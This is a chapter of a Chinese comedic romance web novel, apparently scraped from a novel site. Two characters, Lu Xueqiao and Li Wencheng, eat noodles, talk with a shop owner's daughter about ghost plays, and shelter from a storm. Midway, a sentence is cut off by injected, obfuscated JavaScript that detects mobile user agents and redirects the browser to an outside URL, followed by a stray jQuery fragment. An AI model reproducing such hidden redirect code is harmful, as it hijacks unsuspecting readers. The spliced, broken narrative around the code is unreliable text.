面馆的老板一边对进门的人招呼,一边将煮好的面盛到碗里,见陆雪乔坐下,就热情递了一张上至一百文下至十文的菜单。
李文承翻开十文钱的一页,对面眼睛就明亮了一下,他故意翻到一百文那页,笑道,“海鲜面居然用的是鲍鱼,我吃这一碗吧。”
陆雪乔立刻扯住他的袖子,“再想想呗,大晚上吃鲍鱼积食,我看叉烧面还不错。”
李文承皱起眉头,“我给你半两碎银还不够吃碗海鲜面么,拽疼我了松开。”
陆雪乔看他把老板叫来点单,心脏在滴血。
老板一听点两碗海鲜面,还推荐其他价格更贵的面,她就这样看着自己半两碎银只剩下三百文钱,本来她就不舍得花,往后估计都不能多用钱了。
“以后这种赚钱的机会还有,只要你乖乖听我的话,还有不准拿剩下的钱买话本。”
“是。”陆雪乔撑着下巴点点头,眼睛却随着说话声瞥到隔壁桌。
“多学学人家怎么和面,早上煮出来的面我都不想说你,以后要多给我煮面吃。”
陆雪乔没接话。
每天要搞铺子开业,还要盯鬼屋布置,哪管得上他提的要求,心想以前瞧老板干活的时候,还真没觉得轻松,如今不仅没工资,反而要把自己倒贴进去,愁啊。
她看着李文承圆溜溜的黑眼睛,嘴里吐酸水来。
像这样一辈子没穷过的贵公子,吃得最大的苦估摸就是跟她开铺子,她好几次都想问明明他每天只管吃吃茶看看美女就成,出来混只会饿死,干嘛非要出来混,可人家那模样,就好像什么都不在意。
老板很快把面端上来,热腾腾的,鲍鱼又大又嫩,但桌边突然有一个流口水的小女孩凑过来,直勾勾地盯着她碗里,“我也想吃鲍鱼。”
陆雪乔指了指灶台那边,“让你爹给你煮一碗。”
小女孩似乎吓了一跳,连忙摇摇头,“他都不给我看鬼戏,肯定不给我吃的。”
李文承趁机把嘴角向下撇,脸上露出失落的表情,“她也不让我吃,你说这个姐姐坏不坏。”
陆雪乔一边将他的肩膀往后推,一边把小女孩抱在怀里,“你跟着凑什么热闹,别听他的啊,姐姐问你喜欢看鬼戏吗?”
“喜欢。”
老板适时地走过来,瞪小女孩一眼,有点不好意思地笑道,“小孩不懂事,没耽误你们吃面吧,我带她回屋。”
陆雪乔赶紧打住,“挺好一闺女训什么,人家这么喜欢鬼戏,旧辞楼就该带去看,也花不了多少钱。”
陆雪乔蛮喜欢这种长得水灵儿的小姑娘,偶尔遇到了还觉得新鲜,逗一下乐呵一下,但她没生的想法,她每日六点起,就是为了让自己过上有钱随便抛的日子,可开头坏就坏在李文承手里。
老板讪笑道,“我们哪有闲钱去看稀罕玩意儿,孩子能平安长大就不错了,清清听话不要揪姐姐的裙子。”
清清歪脑袋眨眨眼睛,闷闷的应了一道后,不吭声了。
陆雪乔看了李文承一眼,“鬼戏门票钱应该不贵吧?怎么会去不成?”
“贵倒是不太贵,想去看鬼戏的人太多了,咱平民老百姓又排不上号。”老板似乎知道亏欠自家姑娘,就从袖子里拿出几块饴糖给她。
陆雪乔一副若有所思的样子,没继续搭理清清,心想这可是赚钱的好机会啊,李文承倒是有闲情说点好话逗她咯咯笑。
正当她思考的入迷的时候,一道稚嫩的童声袭来,“叔叔。”
陆雪乔立刻就不淡定了,好不容易才忍住没笑,免得把她剩下的三百文要回去,看着李文承脸色黑了又黑,她忽然感觉自己年轻到十八岁,对这孩子更喜欢得不行。
老板吓了一跳,颤声道,“乖闺女,不能叫叔叔,叫哥哥。”
清清不明所以,“比姐姐大不就是叫叔叔吗?”
李文承笑了笑,指甲掐的手心疼出眼泪,极力忽视陆雪乔看好戏的表情,好一会儿才道,“我比她还小三岁。”
空气陷入诡异的寂静,三双眼睛霎时间都盯着他看,有错愕有震惊……还有陆雪乔好多他看不出来的情绪,他尴尬得想立刻堵上那张一句话让名誉毁于一旦的嘴巴。
陆雪乔反应特别快,“童言无忌哈哈,你别太在意,清清喜欢哪部鬼戏呀?”
老板想阻止清清继续说下去,但她一心想知道小孩究竟能接受怎么样的鬼,就随手挡了回去,清清一聊起鬼戏就高兴得挥手,叭叭个不停。
几轮下来,陆雪乔摸清了怎么个事,鬼戏唱比演得多,说书比唱得多,似乎演更受人喜欢。
老板也怕自己闺女说了什么不该说,一直在旁边护着,清清不知何时起,开始说身边好多朋友都去瞧鬼戏,自己没去过,听得她心脏抽搐。
当她问到有多少人想去看鬼戏的时候,清清就举起手画了个大圆圈,差点打到陆雪乔的脸。
清清低声道歉,陆雪乔却笑着安慰,“我铺子过几日就开业,有点儿像旧辞楼的鬼戏,姐姐请你去看好不好?”
“好。”这一声响亮的童声惹得在场三人都笑了。
吃完面,陆雪乔就感觉比进来时发暗不少,抬头一看,竟然下起了暴雨。
完了,她那铺子装修到一半,没套防塌的竹竿。李文承也急得直皱眉,“你出门为什么不带伞啊?现在我们怎么办。”
雨水噼里啪啦砸下来,越下越大,两人躲在屋檐下寸步难行,陆雪乔讪道,“我哪知道会下雨。”
她前几天一直在琢磨铺子的场地和工头,挑来挑去,弄得她脑袋清醒不起来,最后又倒欠人家十两银子。
休息半天不到,次日一大早李文承强拽她起床遛狗,她看着狗狗看着她,一时间竟然气笑了,李文承那是一点儿都不管事啊。
陆雪乔听他在旁边说干嘛跟那小孩聊那么久,吃面吃半个时辰,愈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528947|203653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发觉得整个人都凉透了,这会儿谁来了不好使,暴雨哪可能即刻停下。
李文承就镇定多了,特别优雅地找凳子坐,不紧不慢地看隔壁下象棋。
那下象棋的大爷,是个算天机的,指着黑蒙蒙要塌的天说这雨得下两天两夜不停。
他朝陆雪乔招了招手,“别瞎站了,你看你兄长多聪慧还知道找椅子歇着,你现在回去只会淋湿一身,院子泡水了,你也做不了什么,还不如陪我下下棋,女娃儿会象棋不,陪叔叔来一把。”说完,大爷把棋子恢复成原样。
陆雪乔此时没精打采的,懒得反驳李文承是他哥还是弟,她巴不得这雨永远不会停,把眼一闭,什么都不知道才好。
李文承瞥她两眼,“你这么着急干嘛,哪养成的习惯,反正要塌早塌了,你回去又不能把它拼回去。”
陆雪乔被这番话打击到了,哽咽到放声哭泣,“你你又不管铺子,凭什么在我面前说凉心话……欠钱的人不是你,别管我了……你懂什么,那是那是我爹一点点盖起来的。”
李文承手忙脚乱地看着她,似乎没想到平时格外要强的她竟然会在这时候掉眼泪,“你,你别哭,我随口一说而已,你想不想要别的东西,二两银子,我再给你二两银子好不好?”
“你存心故意的吧?又让我多欠你二两银子。”
“这次是我自愿给你的,不算欠。”
陆雪乔愣了一下,快速地收下那二两银子,在剧本杀店时,她承受不住顾客的谩骂躲在角落哭,老板看见就会以各种离谱的理由,扣她五十块钱,忽然感觉李文承也没有之前那么令人讨厌。
她能屈能伸地睁大满是泪水的眼睛,“谢谢。”
李文承眨巴眨巴眼睛,说话磕绊了下,“你不拒绝一下吗?”
陆雪乔感觉莫名其妙,“给我钱为什么要拒绝,不能再收回去啦,我已经拿走了。”
其实她有点儿心虚,毕竟拿了人家足足二两银子,她能吃一年的饭呢,可乍想人家是什么身份,大少爷,不拿就是不给他面子,由于她一直单身,第一次被男生讨好,她寻思自己脸蛋还是保养得不错。
入夜了有点儿冷,雷电砰砰地闪,俩人并列坐着,离得很近,仔细听还有交错紧促的呼吸,逐渐让喧闹的心脏安静些许。
看着那张英俊无比的侧脸,其实李文承长得还不错,皮白肩宽,除了那张不停对人挑刺的嘴巴,还有一声不响就下决定的脾气,真真什么都好。
那种从来没有过、热烈的心跳,让她脑门儿想了好多乱七八糟模糊的东西,好像渴望有人在身边依靠。
她真的不敢相信,单身二十多年居然能有这种十七八岁的激情。
下一秒,就让这种心情瞬间化为灰烬。
只听头顶讥笑一声,“你一个女儿家,整日看话本幻想那么多男女情爱干嘛呢,莫不是觉得里面的人会喜欢上你吧,收起你那看谁都稀罕的表情。”